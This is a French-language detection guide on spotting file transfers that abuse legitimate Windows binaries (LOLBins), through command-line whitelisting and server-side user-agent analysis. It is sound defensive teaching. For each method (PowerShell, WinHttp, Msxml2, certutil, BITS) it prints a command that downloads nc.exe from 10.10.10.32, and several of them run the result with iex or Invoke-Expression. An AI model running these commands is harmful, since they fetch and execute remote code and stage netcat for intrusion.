Detection
🎯 Introduction
La détection des techniques d'attaque basées sur l'utilisation de binaires légitimes du système (LOLBins) représente un défi important pour les équipes de sécurité. Ces outils sont souvent présents par défaut dans les environnements Windows ou Linux et peuvent être détournés pour réaliser des actions malveillantes tout en évitant les solutions de sécurité classiques.
Cette page présente des approches de détection, notamment via l'analyse des lignes de commande et l'exploitation des entêtes HTTP (user agents), pour identifier des comportements suspects liés au transfert de fichiers.
🧪 Analyse des lignes de commande
La détection basée sur des listes noires de commandes (blacklisting) est facile à contourner, par exemple avec des variations de casse : CERTUTIL
, CertUtil
, certutil
...
À l'inverse, une approche par liste blanche (whitelisting) des lignes de commande habituelles dans un environnement permet une détection robuste. Bien que longue à mettre en place initialement, elle offre une excellente base pour générer des alertes sur des comportements inhabituels.
🌐 User-Agent HTTP et Détection Réseau
La majorité des protocoles client-serveur (notamment HTTP) nécessitent une négociation entre les deux parties avant l’échange de contenu. Lors d’une connexion HTTP, le client envoie un user-agent, une chaîne permettant au serveur d’identifier le logiciel utilisé (navigateur, script, outil, etc.).
Ainsi, même des outils comme curl
, sqlmap
, nmap
, ou des scripts Python personnalisés peuvent être identifiés grâce à leur user-agent.
🕵️♂️ Utilisation en Threat Hunting
Les organisations peuvent :
Établir une liste blanche de user-agents légitimes : navigateurs connus, services système, outils d’update (Windows Update, antivirus, etc.)
Filtrer ces user-agents dans un SIEM pour se concentrer sur les chaînes inconnues ou suspectes
Enquêter plus en profondeur sur les connexions suspectes
🔗 Un site utile pour lister des user-agents courants : List of User Agents
🔎 Exemples de User-Agent observés lors de Transferts de Fichiers
Des commandes PowerShell et autres binaires Windows génèrent des entêtes HTTP reconnaissables côté serveur.
📥 Invoke-WebRequest
/ Invoke-RestMethod
Invoke-WebRequest
/ Invoke-RestMethod
Invoke-WebRequest http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"
Invoke-RestMethod http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"
User-Agent côté serveur :
Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0
📥 WinHttp.WinHttpRequest.5.1
WinHttp.WinHttpRequest.5.1
$h = New-Object -ComObject WinHttp.WinHttpRequest.5.1
$h.open('GET', 'http://10.10.10.32/nc.exe', $false)
$h.send()
iex $h.ResponseText
User-Agent côté serveur :
Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
📥 Msxml2.XMLHTTP
Msxml2.XMLHTTP
$h = New-Object -ComObject Msxml2.XMLHTTP
$h.open('GET', 'http://10.10.10.32/nc.exe', $false)
$h.send()
iex $h.responseText
User-Agent côté serveur :
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)
📥 certutil
certutil
certutil -urlcache -split -f http://10.10.10.32/nc.exe
certutil -verifyctl -split -f http://10.10.10.32/nc.exe
User-Agent côté serveur :
Microsoft-CryptoAPI/10.0
📥 bitsadmin
/ PowerShell BITS
bitsadmin
/ PowerShell BITSImport-Module bitstransfer
Start-BitsTransfer 'http://10.10.10.32/nc.exe' $env:temp\t
$r = Get-Content $env:temp\t
Remove-Item $env:temp\t
Invoke-Expression $r
User-Agent côté serveur :
Microsoft BITS/7.8
✅ Bonnes Pratiques en Détection
🎯 Créer une liste blanche de binaires autorisés pour transférer des fichiers
🚫 Maintenir une liste noire des outils fréquemment détournés (certutil, mshta, etc.)
🔍 Surveiller les user-agents atypiques dans les logs réseau
📊 Exploiter un SIEM ou EDR pour croiser les données réseau et les processus système
La détection de transferts de fichiers malveillants via LOLBins repose sur une visibilité complète (endpoint + réseau) et une connaissance de l’environnement. Cette approche permet de détecter des attaques en cours avant l’exfiltration de données.
Des modules ultérieurs détailleront les techniques de Threat Hunting, de corrélation d’événements et de réponse à incident.
📚 Ressources utiles
Mis à jour